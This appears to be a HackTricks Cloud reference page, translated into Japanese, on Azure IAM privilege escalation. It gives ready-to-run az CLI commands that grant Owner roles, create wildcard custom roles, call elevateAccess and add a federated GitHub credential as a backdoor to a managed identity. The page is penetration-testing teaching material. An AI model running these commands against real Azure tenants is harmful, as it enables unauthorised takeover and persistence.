Az - Azure IAM Privesc (Authorization)
Reading time: 5 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Azure IAM
詳細については、次を確認してください:
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
この権限は、特定のスコープに対してプリンシパルに役割を割り当てることを許可し、攻撃者が自分自身により特権のある役割を割り当てることで権限を昇格させることを可能にします:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
この権限は、ロールによって付与された権限を変更することを許可し、攻撃者が自分に割り当てられたロールに対してより多くの権限を付与することで特権を昇格させることを可能にします。
ファイル role.json
を以下の 内容 で作成します:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
その後、前の定義を呼び出してロールの権限を更新します:
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
この権限は、特権を昇格させ、任意のプリンシパルにAzureリソースへの権限を割り当てることを可能にします。これは、Entra IDのグローバル管理者に与えられることを意図しており、彼らがAzureリソースに対する権限を管理できるようにします。
tip
昇格呼び出しが機能するためには、ユーザーがEntra IDのグローバル管理者である必要があると思います。
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
この権限は、管理されたアイデンティティにフェデレーテッド資格情報を追加することを許可します。例えば、リポジトリ内のGithub Actionsに管理されたアイデンティティへのアクセスを付与します。次に、ユーザー定義の管理されたアイデンティティにアクセスすることを許可します。
管理されたアイデンティティにGithubのリポジトリへのアクセスを付与するための例のコマンド:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。